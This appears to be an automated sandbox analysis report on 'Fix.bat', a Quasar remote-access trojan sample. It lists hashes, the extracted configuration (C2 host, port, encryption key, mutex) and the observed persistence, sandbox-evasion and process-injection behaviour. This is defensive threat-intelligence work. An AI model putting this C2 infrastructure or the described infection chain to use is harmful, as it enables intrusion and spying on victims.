quasar | aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67

Analysis

max time kernel
300s
max time network
203s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12-05-2024 19:01

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General

Target

Fix.bat
Size

621B
MD5

e235e723f57a72ef725306c3e14d4726
SHA1

9b2153053f8e89c300e32da5df32e9b990594aac
SHA256

aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
SHA512

0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e

Score

10^/10

quasar rpad discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RPad

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-okPqrmZ8kNVUcS4Rp0

Attributes

encryption_key
XmcBnPuLlN1e8SHIRR1z
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe	family_quasar
behavioral2/memory/4872-27-0x00000000004C0000-0x000000000052C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description	pid	process	target process
PID 2960 created 612	2960	powershell.EXE	winlogon.exe
PID 4844 created 612	4844	powershell.EXE	winlogon.exe
PID 2204 created 612	2204	powershell.EXE	winlogon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2452 powershell.exe
Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	$sxr-powershell.exe

Executes dropped EXE 5 IoCs

Processes:

BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exeinstall.exe

pid process

4872 BoostBot.exe
1300 $sxr-powershell.exe
3328 install.exe
1964 install.exe
3224 install.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4576 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

26 raw.githubusercontent.com
27 raw.githubusercontent.com
31 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 ip-api.com

pid	process
4872	BoostBot.exe
1300	$sxr-powershell.exe
3328	install.exe
1964	install.exe
3224	install.exe

pid	process
4576	icacls.exe

flow	ioc
26	raw.githubusercontent.com
27	raw.githubusercontent.com
31	raw.githubusercontent.com

flow	ioc
19	ip-api.com

Drops file in System32 directory 11 IoCs

Processes:

powershell.EXEsvchost.exesvchost.exesvchost.exepowershell.EXEpowershell.EXE

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77$sxr-powershell.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description	pid	process	target process
PID 2960 set thread context of 2064	2960	powershell.EXE	dllhost.exe
PID 4844 set thread context of 2392	4844	powershell.EXE	dllhost.exe
PID 2204 set thread context of 2972	2204	powershell.EXE	dllhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exe

pid process

1220 schtasks.exe
2788 SCHTASKS.exe
736 schtasks.exe
2292 SCHTASKS.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
1220	schtasks.exe
2788	SCHTASKS.exe
736	schtasks.exe
2292	SCHTASKS.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe

Modifies registry class 4 IoCs

Processes:

RuntimeBroker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4844 PING.EXE

pid	process
4844	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exe$sxr-powershell.exewmiprvse.exe

pid	process
2452	powershell.exe
2452	powershell.exe
2960	powershell.EXE
2960	powershell.EXE
4844	powershell.EXE
4844	powershell.EXE
2960	powershell.EXE
2064	dllhost.exe
2064	dllhost.exe
2064	dllhost.exe
2064	dllhost.exe
2064	dllhost.exe
2064	dllhost.exe
4844	powershell.EXE
2392	dllhost.exe
2392	dllhost.exe
1300	$sxr-powershell.exe
2064	dllhost.exe
2064	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
1300	$sxr-powershell.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
624	wmiprvse.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
1300	$sxr-powershell.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe
2392	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	4872	BoostBot.exe
Token: SeDebugPrivilege	1300	$sxr-powershell.exe
Token: SeDebugPrivilege	2960	powershell.EXE
Token: SeDebugPrivilege	4844	powershell.EXE
Token: SeDebugPrivilege	2960	powershell.EXE
Token: SeDebugPrivilege	2064	dllhost.exe
Token: SeDebugPrivilege	4844	powershell.EXE
Token: SeDebugPrivilege	2392	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe
Token: SeRestorePrivilege	1796	svchost.exe
Token: SeShutdownPrivilege	1796	svchost.exe
Token: SeSystemEnvironmentPrivilege	1796	svchost.exe
Token: SeUndockPrivilege	1796	svchost.exe
Token: SeManageVolumePrivilege	1796	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1796	svchost.exe
Token: SeIncreaseQuotaPrivilege	1796	svchost.exe
Token: SeSecurityPrivilege	1796	svchost.exe
Token: SeTakeOwnershipPrivilege	1796	svchost.exe
Token: SeLoadDriverPrivilege	1796	svchost.exe
Token: SeSystemtimePrivilege	1796	svchost.exe
Token: SeBackupPrivilege	1796	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

1300 $sxr-powershell.exe

pid	process
1300	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1488 wrote to memory of 1728	1488	cmd.exe	certutil.exe
PID 1488 wrote to memory of 1728	1488	cmd.exe	certutil.exe
PID 1488 wrote to memory of 2452	1488	cmd.exe	powershell.exe
PID 1488 wrote to memory of 2452	1488	cmd.exe	powershell.exe
PID 2452 wrote to memory of 4872	2452	powershell.exe	BoostBot.exe
PID 2452 wrote to memory of 4872	2452	powershell.exe	BoostBot.exe
PID 2452 wrote to memory of 4872	2452	powershell.exe	BoostBot.exe
PID 1488 wrote to memory of 4576	1488	cmd.exe	icacls.exe
PID 1488 wrote to memory of 4576	1488	cmd.exe	icacls.exe
PID 1488 wrote to memory of 4116	1488	cmd.exe	reg.exe
PID 1488 wrote to memory of 4116	1488	cmd.exe	reg.exe
PID 1488 wrote to memory of 3108	1488	cmd.exe	attrib.exe
PID 1488 wrote to memory of 3108	1488	cmd.exe	attrib.exe
PID 4872 wrote to memory of 1220	4872	BoostBot.exe	schtasks.exe
PID 4872 wrote to memory of 1220	4872	BoostBot.exe	schtasks.exe
PID 4872 wrote to memory of 1220	4872	BoostBot.exe	schtasks.exe
PID 4872 wrote to memory of 1300	4872	BoostBot.exe	$sxr-powershell.exe
PID 4872 wrote to memory of 1300	4872	BoostBot.exe	$sxr-powershell.exe
PID 4872 wrote to memory of 1300	4872	BoostBot.exe	$sxr-powershell.exe
PID 4872 wrote to memory of 3328	4872	BoostBot.exe	install.exe
PID 4872 wrote to memory of 3328	4872	BoostBot.exe	install.exe
PID 4872 wrote to memory of 3328	4872	BoostBot.exe	install.exe
PID 4872 wrote to memory of 2788	4872	BoostBot.exe	SCHTASKS.exe
PID 4872 wrote to memory of 2788	4872	BoostBot.exe	SCHTASKS.exe
PID 4872 wrote to memory of 2788	4872	BoostBot.exe	SCHTASKS.exe
PID 1300 wrote to memory of 736	1300	$sxr-powershell.exe	schtasks.exe
PID 1300 wrote to memory of 736	1300	$sxr-powershell.exe	schtasks.exe
PID 1300 wrote to memory of 736	1300	$sxr-powershell.exe	schtasks.exe
PID 1300 wrote to memory of 1964	1300	$sxr-powershell.exe	install.exe
PID 1300 wrote to memory of 1964	1300	$sxr-powershell.exe	install.exe
PID 1300 wrote to memory of 1964	1300	$sxr-powershell.exe	install.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2960 wrote to memory of 2064	2960	powershell.EXE	dllhost.exe
PID 2064 wrote to memory of 612	2064	dllhost.exe	winlogon.exe
PID 2064 wrote to memory of 676	2064	dllhost.exe	lsass.exe
PID 2064 wrote to memory of 952	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 316	2064	dllhost.exe	dwm.exe
PID 2064 wrote to memory of 408	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 868	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1132	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1148	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1160	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1176	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1192	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1320	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1348	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1368	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1428	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1596	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1604	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1644	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1716	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1756	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1764	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1856	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 1992	2064	dllhost.exe	svchost.exe
PID 2064 wrote to memory of 2000	2064	dllhost.exe	svchost.exe
